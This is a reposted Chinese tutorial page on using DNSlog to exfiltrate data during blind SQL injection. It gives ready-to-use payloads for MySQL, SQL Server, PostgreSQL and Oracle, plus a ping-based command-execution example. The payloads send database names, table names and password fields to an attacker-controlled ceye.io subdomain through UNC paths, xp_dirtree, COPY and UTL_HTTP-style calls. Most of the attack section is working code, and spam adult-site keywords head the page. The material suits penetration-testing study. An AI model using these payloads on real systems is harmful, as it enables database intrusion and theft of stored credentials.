日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

Dnslog在SQL注入中的利用

發布時間:2023/12/6 数据库 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Dnslog在SQL注入中的利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

參考文獻:www.anquanke.com/post/id/98096
https://bbs.pediy.com/thread-223881.htm

DNSlog在Web攻擊的利用

在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過DNSlog把想獲得的數據外帶出來。

常用情況

SQL注入中的盲注
無回顯的命令執行
無回顯的SSRF

原理

1.jpg

攻擊者提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,只要能獲得DNS的日志,就得到了想要的值。

  • 推薦一個免費的dnslog平臺:http://ceye.io

1.命令執行

ping %USERNAME%.xxxxxx.ceye.io

1.png

2.MySQL

load_file
在MySQL中有個load_file()函數可以用來讀取本地的文件,load_file()函數還可以用來發送dns解析請求
以SQLi-LABS 第五關為例:
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

1.png
payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
2.png

concat()函數拼接了4個\了,因為轉義的原因,\\\\就變成了\\,目的就是利用UNC路徑。

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。在Widnows中用共享文件的時候就會用到這種網絡地址的形式\\sss.xxx\test\

  • Linux沒有UNC路徑這個東西,當MySQL處于Linux系統中的時候,不能使用這種方式外帶數據的
1.png

3.msSQL

DECLARE @host varchar(1024); SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

4.postgreSQL

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();

5.SQL Server

存儲程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內部的子文件夾。

DECLARE @host varchar(1024); 注冊一個名為@host的變量,類型為varchar。 SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io'; 獲取db_name()然后轉換成varchar類型,然后吧獲取的db_name()返回值拼接到dnslog平臺給我們的子域名里面,然后賦值給@host變量。 EXEC('master..xp_dirtree "\\'+@host+'\foobar$"'); 列遠程主機的foobar$目錄,由于是遠程主機,所以會做一個dns解析,這樣我們的dns平臺就能得到日志了 http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

6.Oracle

UTL_HTTP.REQUEST select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL; DBMS_LDAP.INIT select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL; HTTPURITYPE select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL; UTL_INADDR.GET_HOST_ADDRESS select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL; 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的Dnslog在SQL注入中的利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。